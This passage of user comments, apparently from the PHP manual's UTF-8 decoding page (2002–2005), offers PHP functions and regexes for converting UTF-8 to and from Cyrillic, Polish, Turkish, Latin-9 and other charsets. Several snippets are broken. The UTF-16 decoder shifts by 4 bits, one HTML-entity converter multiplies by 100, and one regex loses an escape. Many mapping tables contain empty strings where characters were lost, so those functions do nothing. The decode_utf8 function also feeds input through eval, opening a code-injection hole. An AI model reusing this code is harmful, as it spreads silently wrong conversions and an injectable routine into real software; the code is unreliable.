[\xf1-\xf3][\x80-\xbf]{3}|
[\xf4][\x80-\x8f][\x80-\xbf]{2}*$)
miracle at balkansys dot com
14-Jun-2005 05:24
The best multilanguage library I have found is a part of a CMS system - typo3

http://www.typo3.org

It can convert from and to any charset + it does it by three methods - mbstring, iconv, or the raw way by scripts. It uses only one of these techniques - the fastest if available.

That was the only way I could make mysql 3.23 contain letters in almost any language, while maintaining my website in utf-8 only.
Denjs
11-May-2005 09:09
i had some problems whith encode-decode russian-cp1251 strings into utf8, like browser do "this" in url...
(my Apache runs under windows and some local files have russian names - it needs to create correct url to them)

problem resolves whith utf8-class created by Alexandar Minkovsky.

download here:
http://www.phpclasses.org/browse/package/1974.html

UTF8 class can convert text between UTF-8 and other encodings. puplished under "BSD License"
Vladimir Stwora, vlad4321 at fastmail dot fm
09-May-2005 06:41
If you want to convert utf-8 to ascii, you can use the following procedure:

<?php
function utf2ascii($string) {
   $string=iconv('utf-8','windows-1250',$string);
   $win  ='...';  // I was unable to paste here all set of characters, but you get the point
   $ascii='zyaieuu...';
   $string = StrTr($string,$win,$ascii);
   return $string;
  }
?>
This works based on the assumption that you know what language text (and thus what charset) you want to convert from. In the above example I am converting from an eastern European language, so I know I can safely use windows-1250 charset as an intermediem charset. You will have to adjust the charset based on your language.

Please remember that you have to save this file separately and it must be coded in the charset, which you will call within function iconv. Otherwise it will not work.
JF Sebastian
30-Mar-2005 11:09
The following Perl regular expression tests if a string is well-formed Unicode UTF-8 (Broken up after each | since long lines are not permitted here. Please join as a single line, no spaces, before use.):

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
\xe0[\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
\xed[\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
f0[\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
\xf4[\x80-\x8f][\x80-\xbf]{2})*$

NOTE: This strictly follows the Unicode standard 4.0, as described in chapter 3.9, table 3-6, "Well-formed UTF-8 byte sequences" ( http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf#G31703 ).

ISO-10646, a super-set of Unicode, uses UTF-8 (there called "UCS", see http://www.unicode.org/faq/utf_bom.html#1 ) in a relaxed variant that supports a 31-bit space encoded into up to six bytes instead of Unicode's 21 bits in up to four bytes. To check for ISO-10646 UTF-8, use the following Perl regular expression (again, broken up, see above):

^([\x00-\x7f]|
[\xc0-\xdf][\x80-\xbf]|
[\xe0-\xef][\x80-\xbf]{2}|
[\xf0-\xf7][\x80-\xbf]{3}|
[\xf8-\xfb][\x80-\xbf]{4}|
[\xfc-\xfd][\x80-\xbf]{5})*$

The following function may be used with above expressions for a quick UTF-8 test, e.g. to distinguish ISO-8859-1-data from UTF-8-data if submitted from a <form accept-charset="utf-8,iso-8859-1" method=..>.

function is_utf8($string) {
   return (preg_match('/[insert regular expression here]/', $string) === 1);
}
ivanmaz(remove) at mech dot math dot msu dot su
16-Mar-2005 07:50
Here is my variant of UTF8 to Cyrillic Win-1251 encoding convertor that replaces all characters but latin and Russian ones with &#...; entities:

function utf2win1251 ($s)
{
 $out = "";

 for ($i=0; $i<strlen($s); $i++)
 {
  $c1 = substr ($s, $i, 1);
  $byte1 = ord ($c1);
  if ($byte1>>5 == 6) // 110x xxxx, 110 prefix for 2 bytes unicode
  {
   $i++;
   $c2 = substr ($s, $i, 1);
   $byte2 = ord ($c2);
   $byte1 &= 31; // remove the 3 bit two bytes prefix
   $byte2 &= 63; // remove the 2 bit trailing byte prefix
   $byte2 |= (($byte1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
   $byte1 >>= 2; // c1 shifts 2 to the right

   $word = ($byte1<<8) + $byte2;
   if ($word==1025) $out .= chr(168);                    //
   elseif ($word==1105) $out .= chr(184);                //
   elseif ($word>=0x0410 && $word<=0x044F) $out .= chr($word-848); // - -
   else
   {
     $a = dechex($byte1);
     $a = str_pad($a, 2, "0", STR_PAD_LEFT);
     $b = dechex($byte2);
     $b = str_pad($b, 2, "0", STR_PAD_LEFT);
     $out .= "&#x".$a.$b.";";
   }
  }
  else
  {
   $out .= $c1;
  }
 }

 return $out;
}

The function is based on 2 other functions posted below.
I hope it will help those who convert UTF8-encoded text to Win-1251 to use it safely on Russian web pages (works fine in all browsers).
marcelo at maccoy dot com dot br
15-Feb-2005 02:24
function decode_utf8($str){
       # erase null signs in string
         $str=eregi_replace("^.{10,13}q\?","",$str);
       # paterns
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # to decode with eval and replace
         eval("\$str='".
                 preg_replace($pat,$cha."'$1')).'",$str).
                 "';");
       # return
           return $str;
       }

Note:
It's possible put it in 3 lines, but I don't got in this first code submition.
husamb at maksimum dot net
27-Jan-2005 05:16
Hi, I collected the some scripts in this page and I written a new customizable script. You can switch easily iso type to convert. There are definitions in unicode.org page at http://www.unicode.org/Public/MAPPINGS/ISO8859/.

<?php
# GLOBAL VARIABLES
$url = "http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-9.TXT";
//$url = "8859-9.txt";
$iso2utf = array();
$utf2iso = array();

# UNICODE MAPPING TABLE PARSING
function create_map($url){
   global $iso2utf, $utf2iso;
   $fl = @(file($url)) OR (die("cannot open file : $url\n"));
   for ($i=0; $i<count($fl); $i++){
       if($fl[$i][0] != '#' && trim($fl[$i])){
           list($iso, $uni, $s, $desc) = split("\t",$fl[$i]);
           $iso2utf[$iso] = $uni;
           $utf2iso[$uni] = $iso;
       }
   }
}

# FINDING UNICODE LETTER'S DECIMAL ASCII VALUE
function uniord($c){
   $ud = 0;
   if (ord($c{0})>=0 && ord($c{0})<=127)  $ud = $c{0};
   if (ord($c{0})>=192 && ord($c{0})<=223) $ud = (ord($c{0})-192)*64 + (ord($c{1})-128);
   if (ord($c{0})>=224 && ord($c{0})<=239) $ud = (ord($c{0})-224)*4096 + (ord($c{1})-128)*64 + (ord($c{2})-128);
   if (ord($c{0})>=240 && ord($c{0})<=247) $ud = (ord($c{0})-240)*262144 + (ord($c{1})-128)*4096 + (ord($c{2})-128)*64 + (ord($c{3})-128);
   if (ord($c{0})>=248 && ord($c{0})<=251) $ud = (ord($c{0})-248)*16777216 + (ord($c{1})-128)*262144 + (ord($c{2})-128)*4096 + (ord($c{3})-128)*64 + (ord($c{4})-128);
   if (ord($c{0})>=252 && ord($c{0})<=253) $ud = (ord($c{0})-252)*1073741824 + (ord($c{1})-128)*16777216 + (ord($c{2})-128)*262144 + (ord($c{3})-128)*4096 + (ord($c{4})-128)*64 + (ord($c{5})-128);
   if (ord($c{0})>=254 && ord($c{0})<=255) $ud = false; //error
   return $ud;
}

# PARSING UNICODE STRING
function utf2iso($source) {
   global $utf2iso;
   $pos = 0;
   $len = strlen ($source);
   $encodedString = '';

   while ($pos < $len) {
       $is_ascii = false;
       $asciiPos = ord (substr ($source, $pos, 1));
       if(($asciiPos >= 240) && ($asciiPos <= 255)) {
           // 4 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 4);
           $thisLetterOrd = uniord($thisLetter);
           $pos += 4;
       }
       else if(($asciiPos >= 224) && ($asciiPos <= 239)) {
           // 3 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 3);
           $thisLetterOrd = uniord($thisLetter);
           $pos += 3;
       }
       else if(($asciiPos >= 192) && ($asciiPos <= 223)) {
           // 2 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 2);
           $thisLetterOrd = uniord($thisLetter);
           $pos += 2;
       }
       else{
           // 1 char (lower ascii)
           $thisLetter = substr ($source, $pos, 1);
           $thisLetterOrd = uniord($thisLetter);
           $pos += 1;
           $encodedString .= $thisLetterOrd;
           $is_ascii = true;
       }
       if(!$is_ascii){
           $hex = sprintf("%X", $thisLetterOrd);
           if(strlen($hex)<4) for($t=strlen($hex);$t<4;$t++)$hex = "0".$hex;
           $hex = "0x".$hex;
           $hex = $utf2iso[$hex];
           $hex = str_replace('0x','',$hex);
           $dec = hexdec($hex);
           $encodedString .= sprintf("%c", $dec);
       }
   }
   return $encodedString;
}

# CREATING ISO2UTF & UTF2ISO MAPS
create_map($url);

# TESTING
$unicode_string = "Ekonomi_ve_\xc4\xb0\xc5\x9f_D\xc3\xbcnyas\xc4\xb1";

echo "unicode string : <b>" . $unicode_string . "</b>";
echo "<br><br>";
echo "ISO8859 (latin5 / turkish) converted string : <b>" . utf2iso($unicode_string) . "</b>";
?>

The unicode string is turkish. ITs mean in english is 'Economy and Business World' :)

Husam
rasmus at flajm dot se
19-Jan-2005 06:57
If you don't have the multibyte extension installed, here's a function to decode UTF-16 encoded strings. It support both BOM-less and BOM'ed strings, (big- and little-endian byte order.)

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 *
 * @param  string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode( $str ) {
   if( strlen($str) < 2 ) return $str;
   $bom_be = true;
   $c0 = ord($str{0});
   $c1 = ord($str{1});
   if( $c0 == 0xfe && $c1 == 0xff ) { $str = substr($str,2); }
   elseif( $c0 == 0xff && $c1 == 0xfe ) { $str = substr($str,2); $bom_be = false; }
   $len = strlen($str);
   $newstr = '';
   for($i=0;$i<$len;$i+=2) {
       if( $bom_be ) { $val = ord($str{$i})  << 4; $val += ord($str{$i+1}); }
       else {        $val = ord($str{$i+1}) << 4; $val += ord($str{$i}); }
       $newstr .= ($val == 0x228) ? "\n" : chr($val);
   }
   return $newstr;
}
?>
dobersch at gmx dot net
04-Nov-2004 10:11
Sorry, there's an error in my previous comment, my error_reporting was not set to E_ALL ... so the notices disappeared...

It seems that those Google URLs are not only UTF-8 encoded, but after encoding, several values also get replaced. (cp1252 ?)

Just the way as described in following comments on the utf8_encode() page:
http://de3.php.net/manual/de/function.utf8-encode.php#44843 and
http://de3.php.net/manual/de/function.utf8-encode.php#45226

Below I post a solution for getting back the ISO-8859-1 encoded string from the encoded data, by turning the function from Aidan the other way around.

hope this time, everything is alright...

<?PHP
ini_set('error_reporting', E_ALL);
// map taken from http://de3.php.net/manual/de/function.utf8-encode.php#45226
$cp1252_map = array(
   "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
   "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
   "\xc2\x83" => "\xc6\x92",    /* LATIN SMALL LETTER F WITH HOOK */
   "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
   "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
   "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
   "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
   "\xc2\x88" => "\xcb\x86",    /* MODIFIER LETTER CIRCUMFLEX ACCENT */
   "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
   "\xc2\x8a" => "\xc5\xa0",    /* LATIN CAPITAL LETTER S WITH CARON */
   "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
   "\xc2\x8c" => "\xc5\x92",    /* LATIN CAPITAL LIGATURE OE */
   "\xc2\x8e" => "\xc5\xbd",    /* LATIN CAPITAL LETTER Z WITH CARON */
   "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
   "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
   "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
   "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
   "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
   "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
   "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */

   "\xc2\x98" => "\xcb\x9c",    /* SMALL TILDE */
   "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
   "\xc2\x9a" => "\xc5\xa1",    /* LATIN SMALL LETTER S WITH CARON */
   "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
   "\xc2\x9c" => "\xc5\x93",    /* LATIN SMALL LIGATURE OE */
   "\xc2\x9e" => "\xc5\xbe",    /* LATIN SMALL LETTER Z WITH CARON */
   "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
);

// I find this name a little misleading because the result won't be valid UTF8 data
function cp1252_to_utf8($str) {
   global $cp1252_map;
   return  strtr(utf8_encode($str), $cp1252_map);
}

function cp1252_utf8_to_iso($str) { // the other way around...
  global $cp1252_map;
  return  utf8_decode( strtr($str, array_flip($cp1252_map)) );
}

$euro = "\xe2\x82\xac";  // "google encoded" euro sign
$str = cp1252_utf8_to_iso($euro);

for($i=0; $i<strlen($str); $i++) {
  print '&quot;' . $str[$i] . '&quot; - ' . ord($str[$i]) . ' (decimal)<br />';
}
?>
vpribish at shopping dot com
11-Sep-2004 02:55
big thanks to wielspm and mittag for the function to convert wide utf to html.  I have altered your function to output decimal html entities which i hear are more widely supported.  Also I've optimized it, it is now twice as fast.

<?php
function utf2html ($str) {
$ret = "";
$max = strlen($str);
$last = 0;  // keeps the index of the last regular character
for ($i=0; $i<$max; $i++) {
 $c = $str{$i};
 $c1 = ord($c);
 if ($c1>>5 == 6) {  // 110x xxxx, 110 prefix for 2 bytes unicode
   $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
   $c1 &= 31; // remove the 3 bit two bytes prefix
   $c2 = ord($str{++$i}); // the next byte
   $c2 &= 63;  // remove the 2 bit trailing byte prefix
   $c2 |= (($c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
   $c1 >>= 2; // c1 shifts 2 to the right
   $ret .= "&#" . ($c1 * 100 + $c2) . ";"; // this is the fastest string concatenation
   $last = $i+1;
 }
}
return $ret . substr($str, $last, $i); // append the last batch of regular characters
}
?>
Aidan Kehoe <php-manual at parhasard dot net>
31-Jan-2004 09:35
The fastest way I've found to check if something is valid UTF-8 is
<?php
if (iconv('UTF-8', 'UTF-8', $input) != $input) {
       /* It's not UTF-8--for me, it's probably CP1252, the Windows
           version of Latin 1, with directed quotation marks and
           the Euro sign.  */
}
 ?>.
The iconv() C library fails if it's told a string is UTF-8 and it isn't; the PHP one doesn't, it just returns the conversion up to the point of failure, so you have to compare the result to the input to find out if the conversion succeeded.
lg83news at free dot fr
29-Dec-2003 01:40
Here are some functions for converting UTF-8 to and from Latin 9 (aka ISO-8859-15), if your PHP file is encoded as UTF-8.

<?php
function latin9_to_utf8($latin9str) { // replaces utf8_encode()
   $trans = array(""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"");
   $wrong_utf8str = utf8_encode($latin9str);
   $utf8str = strtr($wrong_utf8str, $trans);
   return $utf8str;
}
function utf8_to_latin9($utf8str) { // replaces utf8_decode()
   $trans = array(""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"");
   $wrong_utf8str = strtr($utf8str, $trans);
   $latin9str = utf8_decode($wrong_utf8str);
   return $latin9str;
}
?>

Note: the above functions will not work if your PHP file is not encoded in UTF-8.

You can copy this binary data to your PHP file instead, it'll work with any encoding (including UTF-8) as long as you copy it as bytes, not characters:

<?php
function latin9_to_utf8($latin9str) { // replaces utf8_encode()
   $trans = array(""=>"", ""=>" ", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"");
   $wrong_utf8str = utf8_encode($latin9str);
   $utf8str = strtr($wrong_utf8str, $trans);
   return $utf8str;
}
function utf8_to_latin9($utf8str) { // replaces utf8_decode()
   $trans = array(""=>"", " "=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"", ""=>"");
   $wrong_utf8str = strtr($utf8str, $trans);
   $latin9str = utf8_decode($wrong_utf8str);
   return $latin9str;
}
?>

(Note: the PHP manual is served as ISO-8859-1, but many of the bytes used here have no meaning in ISO-8859-1, so they'll probably be displayed as Windows-1252 if your using Windows, or garbage otherwise. Just copy the bytes!)
gto at interia dot pl
25-Nov-2003 11:12
Correction to function converting utf82iso88592 and iso88592tutf8.
Janusz forgot about "&#324;", and "&#380;" exchanged from "&#378;" here and there.

GTo

function utf82iso88592($tekscik) {
     $tekscik = str_replace("\xC4\x85", "&#261;", $tekscik);
     $tekscik = str_replace("\xC4\x84", '&#260;', $tekscik);
     $tekscik = str_replace("\xC4\x87", '&#263;', $tekscik);
     $tekscik = str_replace("\xC4\x86", '&#262;', $tekscik);
     $tekscik = str_replace("\xC4\x99", '&#281;', $tekscik);
     $tekscik = str_replace("\xC4\x98", '&#280;', $tekscik);
     $tekscik = str_replace("\xC5\x82", '&#322;', $tekscik);
     $tekscik = str_replace("\xC5\x81", '&#321;', $tekscik);
     $tekscik = str_replace("\xC5\x84", '&#324;', $tekscik);
     $tekscik = str_replace("\xC5\x83", '&#323;', $tekscik);
     $tekscik = str_replace("\xC3\xB3", '', $tekscik);
     $tekscik = str_replace("\xC3\x93", '', $tekscik);
     $tekscik = str_replace("\xC5\x9B", '&#347;', $tekscik);
     $tekscik = str_replace("\xC5\x9A", '&#346;', $tekscik);
     $tekscik = str_replace("\xC5\xBC", '&#380;', $tekscik);
     $tekscik = str_replace("\xC5\xBB", '&#379;', $tekscik);
     $tekscik = str_replace("\xC5\xBA", '&#378;', $tekscik);
     $tekscik = str_replace("\xC5\xB9", '&#377;', $tekscik);
     return $tekscik;
} // utf82iso88592

function iso885922utf8($tekscik) {
     $tekscik = str_replace("&#261;", "\xC4\x85", $tekscik);
     $tekscik = str_replace('&#260;', "\xC4\x84", $tekscik);
     $tekscik = str_replace('&#263;', "\xC4\x87", $tekscik);
     $tekscik = str_replace('&#262;', "\xC4\x86", $tekscik);
     $tekscik = str_replace('&#281;', "\xC4\x99", $tekscik);
     $tekscik = str_replace('&#280;', "\xC4\x98", $tekscik);
     $tekscik = str_replace('&#322;', "\xC5\x82", $tekscik);
     $tekscik = str_replace('&#321;', "\xC5\x81", $tekscik);
     $tekscik = str_replace('&#324;', "\xC5\x84", $tekscik);
     $tekscik = str_replace('&#323;',"\xC5\x83", $tekscik);
     $tekscik = str_replace('', "\xC3\xB3", $tekscik);
     $tekscik = str_replace('', "\xC3\x93", $tekscik);
     $tekscik = str_replace('&#347;', "\xC5\x9B", $tekscik);
     $tekscik = str_replace('&#346;', "\xC5\x9A", $tekscik);
     $tekscik = str_replace('&#380;', "\xC5\xBC", $tekscik);
     $tekscik = str_replace('&#379;', "\xC5\xBB", $tekscik);
     $tekscik = str_replace('&#378;', "\xC5\xBA", $tekscik);
     $tekscik = str_replace('&#377;', "\xC5\xB9", $tekscik);
     return $tekscik;
} // iso885922utf8
nospam at jra dot nu
23-Nov-2003 07:48
There is an error in the 'smart_utf8_decode' function posted by ' goran_johansson' below. It should look like this:

function smart_utf8_decode($in_str)
{
   // Replace ? with a unique string
   $new_str = str_replace("?", "q0u0e0s0t0i0o0n", $in_str);

   // Try the utf8_decode
   $new_str=utf8_decode($new_str);

   // if it contains ? marks
   if (strpos($new_str,"?") !== false)
   {
       // Something went wrong, set new_str to the original string.
       $new_str=$in_str;
   }
   else
   {
       // If not then all is well, put the ?-marks back where is belongs
       $new_str = str_replace("q0u0e0s0t0i0o0n", "?", $new_str);
   }

   return $new_str;
}
janusz dot s at remove_this dot and_this dot poczta dot fm
25-Oct-2003 11:54
Here are functions to PROPERLY de/encode Unicode (UTF-8) string to/from ISO-8859-2 (Polish character set).

Regards,
Janusz

function utf82iso88592($tekscik) {
 $tekscik = str_replace("\xC4\x85", "", $tekscik);
 $tekscik = str_replace("\xC4\x84", '', $tekscik);
 $tekscik = str_replace("\xC4\x87", '', $tekscik);
 $tekscik = str_replace("\xC4\x86", '', $tekscik);
 $tekscik = str_replace("\xC4\x99", '', $tekscik);
 $tekscik = str_replace("\xC4\x98", '', $tekscik);
 $tekscik = str_replace("\xC5\x82", '', $tekscik);
 $tekscik = str_replace("\xC5\x81", '', $tekscik);
 $tekscik = str_replace("\xC3\xB3", '', $tekscik);
 $tekscik = str_replace("\xC3\x93", '', $tekscik);
 $tekscik = str_replace("\xC5\x9B", '', $tekscik);
 $tekscik = str_replace("\xC5\x9A", '', $tekscik);
 $tekscik = str_replace("\xC5\xBC", '', $tekscik);
 $tekscik = str_replace("\xC5\xBB", '', $tekscik);
 $tekscik = str_replace("\xC5\xBA", '', $tekscik);
 $tekscik = str_replace("\xC5\xB9", '', $tekscik);
 return $tekscik;
} // utf82iso88592

function iso885922utf8($tekscik) {
 $tekscik = str_replace("", "\xC4\x85", $tekscik);
 $tekscik = str_replace('', "\xC4\x84", $tekscik);
 $tekscik = str_replace('', "\xC4\x87", $tekscik);
 $tekscik = str_replace('', "\xC4\x86", $tekscik);
 $tekscik = str_replace('', "\xC4\x99", $tekscik);
 $tekscik = str_replace('', "\xC4\x98", $tekscik);
 $tekscik = str_replace('', "\xC5\x82", $tekscik);
 $tekscik = str_replace('', "\xC5\x81", $tekscik);
 $tekscik = str_replace('', "\xC3\xB3", $tekscik);
 $tekscik = str_replace('', "\xC3\x93", $tekscik);
 $tekscik = str_replace('', "\xC5\x9B", $tekscik);
 $tekscik = str_replace('', "\xC5\x9A", $tekscik);
 $tekscik = str_replace('', "\xC5\xBC", $tekscik);
 $tekscik = str_replace('', "\xC5\xBB", $tekscik);
 $tekscik = str_replace('', "\xC5\xBA", $tekscik);
 $tekscik = str_replace('', "\xC5\xB9", $tekscik);
 return $tekscik;
} // iso885922utf8
bn2 (bn2 at ukr dot net)
01-Sep-2003 11:56
Function to decode uft8 to win-1251 (russian) charset. Don't support ukrainian letters. Support only 2-byte coding.

function utf8win1251($s){
$out="";$c1="";$byte2=false;
for ($c=0;$c<strlen($s);$c++){
$i=ord($s[$c]);
if ($i<=127) $out.=$s[$c];
if ($byte2){
$new_c2=($c1&3)*64+($i&63);
$new_c1=($c1>>2)&5;
$new_i=$new_c1*256+$new_c2;
if ($new_i==1025) $out_i=168; else
if ($new_i==1105) $out_i=184; else $out_i=$new_i-848;
$out.=chr($out_i);
$byte2=false;}
if (($i>>5)==6) {$c1=$i;$byte2=true;}
}
return $out;}
morris_hirsch at hotmail dot com
19-Aug-2003 12:43
Be aware that utf8_decode can not properly store ''wide'' code entities which have a numeric value too big for a byte.

This function may help you.  It converts utf8 to strict ASCII with no high-bit codes, they are all written as numerics.

// UTF-8 encoding
// bytes bits representation
// 1  7  0bbbbbbb
// 2  11  110bbbbb 10bbbbbb
// 3  16  1110bbbb 10bbbbbb 10bbbbbb
// 4  21  11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
// Each b represents a bit that can be used to store character data.

// input CANNOT have single byte upper half extended ascii codes

function numeric_entify_utf8 ($utf8_string) {

  $out = "";
  $ns = strlen ($utf8_string);
  for ($nn = 0; $nn < $ns; $nn++) {
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);

//1 7 0bbbbbbb (127)

   if ($ii < 128) $out .= $ch;

//2 11 110bbbbb 10bbbbbb (2047)

   else if ($ii >>5 == 6) {
  $b1 = ($ii & 31);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b2 = ($ii & 63);

  $ii = ($b1 * 64) + $b2;

     $ent = sprintf ("&#%d;", $ii);
     $out .= $ent;
   }

//3 16 1110bbbb 10bbbbbb 10bbbbbb

   else if ($ii >>4 == 14) {
  $b1 = ($ii & 31);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b2 = ($ii & 63);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b3 = ($ii & 63);

  $ii = ((($b1 * 64) + $b2) * 64) + $b3;

     $ent = sprintf ("&#%d;", $ii);
     $out .= $ent;
   }

//4 21 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb

   else if ($ii >>3 == 30) {
  $b1 = ($ii & 31);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b2 = ($ii & 63);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b3 = ($ii & 63);

  $nn++;
   $ch = $utf8_string [$nn];
   $ii = ord ($ch);
  $b4 = ($ii & 63);

  $ii = ((((($b1 * 64) + $b2) * 64) + $b3) * 64) + $b4;

     $ent = sprintf ("&#%d;", $ii);
     $out .= $ent;
   }

  }
  return $out;
}
johan dot andersson at strateg dot se
05-May-2003 04:25
A simple way to convert utf-8 encoded strings...
(PHP 4 >= 4.3.0)

<?php
$newstring = html_entity_decode(htmlentities($utf8_string, ENT_COMPAT, 'UTF-8'));
?>

(For 4.1.0 >= PHP < 4.3.0 use this function instead of html_entity_decode)

<?php
function unhtmlentities ($string)
{
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   return strtr ($string, $trans_tbl);
}

$newstring = unhtmlentities(htmlentities($utf8_string, ENT_COMPAT, 'UTF-8'));
?>

//Johan
24-Feb-2003 10:10
Oups, this is the non bugged version :)

Well sometimes you need to store a utf-8 string in a database table column with a fixed size.
Here is a function that fix a string which has been broken (by a substr for example) in a middle of a utf-8 char sequence.

function FixUtf8BrokenString($Desc)
{
 // UTF-8 encoding
 // bytes : representation
 // 1    : 0bbbbbbb
 // 2    : 110bbbbb 10bbbbbb
 // 3    : 1110bbbb 10bbbbbb 10bbbbbb
 // 4    : 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
 // to see if a string is broken in middle of a utf8 char
 // we search for last byte encoding size of utf-8 char
 // if number of last bytes in string is lower than encoding size
 // we remove those last bytes

 // if last byte is ord < 128, ok. we return !
 if (ord($Desc[strlen($Desc) - 1]) < (0x80))
   return $Desc

 // loop for finding byte encoding size
 $nbbytes = 1;
 while (ord($Desc[strlen($Desc) - $nbbytes]) > 0x7F)
 {
   if (ord($Desc[strlen($Desc) - $nbbytes]) > 0xBF)
     break;
   $nbbytes++;
 }

  // check if byte encoding size is encoding a size of 4 bytes
  if ((ord($Desc[strlen($Desc) - $nbbytes]) > 0xF0) && ($nbbytes == 4))
   return $Desc;
  // check if byte encoding size is encoding a size of 3 bytes
  if ((ord($Desc[strlen($Desc) - $nbbytes]) > 0xE0) && ($nbbytes == 3))
   return $Desc;
  // check if byte encoding size is encoding a size of 2 bytes
  if ((ord($Desc[strlen($Desc) - $nbbytes]) > 0xC0) && ($nbbytes == 2))
   return $Desc;
  // then this is the case where string is badly broken, we remove last bytes
  return substr($Desc, 0, -$nbbytes);
}

$str = "Ekonomi_ve_\xc4\xb0\xc5\x9f_D\xc3\xbcnyas\xc4\xb1";
$broken = substr($str, 0, 12);
$fixed = FixUtf8BrokenString($broken);

echo "$str<hr>$fixed<hr>$broken<hr>";

Sebastien Meudec.
19-Dec-2002 01:08
addition to above entrie:

it does not mean "when it comes to a '='" but when it comes to a "0"
mittag - -add- -marcmittag- -dot- -de
19-Dec-2002 12:56
The above function does not work entirely correct. It comes to problems, if there is a leading "=" in one of the two Strings it produces and glues out of the two bytes of the unicode letter.

The following works:

<?php
//Convert Unicode to ASCII + Entities
$fp = fopen($DOCUMENT_ROOT."/your_unicode_text.txt", "r");
while ( !feof($fp) )
{ $string = fgets($fp, 1000);

 $utf2html_string .= $string;
}
$string2 = $utf2html_string;
fclose ( $fp);

function utf2html ()
{
global $utf2html_string;

$utf2html_retstr = "";
 for ($utf2html_p=0; $utf2html_p<strlen($utf2html_string); $utf2html_p++) {
 $utf2html_c = substr ($utf2html_string, $utf2html_p, 1);
 $utf2html_c1 = ord ($utf2html_c);
  if ($utf2html_c1>>5 == 6) {// 110x xxxx, 110 prefix for 2 bytes unicode
   $utf2html_p++;
   $utf2html_t = substr ($utf2html_string, $utf2html_p, 1);
  $utf2html_c2 = ord ($utf2html_t);
   $utf2html_c1 &= 31; // remove the 3 bit two bytes prefix
   $utf2html_c2 &= 63; // remove the 2 bit trailing byte prefix
   $utf2html_c2 |= (($utf2html_c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
   $utf2html_c1 >>= 2; // c1 shifts 2 to the right
   $a = dechex($utf2html_c1);
   $a = str_pad($a, 2, "0", STR_PAD_LEFT);
   $b = dechex($utf2html_c2);
   $b = str_pad($b, 2, "0", STR_PAD_LEFT);

   $utf2html_n_neu = $a.$b;
   $utf2html_n_neu_speicher = $utf2html_n_neu;
   $utf2html_n_neu = "&#x".$utf2html_n_neu.";";

 $utf2html_retstr .= $utf2html_n_neu;

  }
  else {
   $utf2html_retstr .= $utf2html_c;
  }
 }
 echo $utf2html_retstr;
 //return $utf2html_retstr;

}

utf2html();

?>
wielspm at xs4all dot nl
06-Dec-2002 01:44
Here is a function I made to convert all 2 byte utf in a &#xxx; form:

function utf2html ($utf2html_string)
{
  $utf2html_retstr = "";
  for ($utf2html_p=0; $utf2html_p<strlen($utf2html_string); $utf2html_p++):
   $utf2html_c = substr ($utf2html_string, $utf2html_p, 1);
   $utf2html_c1 = ord ($utf2html_c);
   if ($utf2html_c1>>5 == 6): // 110x xxxx, 110 prefix for 2 bytes unicode
     $utf2html_p++;
       $utf2html_t = substr ($utf2html_string, $utf2html_p, 1);
     $utf2html_c2 = ord ($utf2html_t);
     $utf2html_c1 &= 31; // remove the 3 bit two bytes prefix
     $utf2html_c2 &= 63; // remove the 2 bit trailing byte prefix
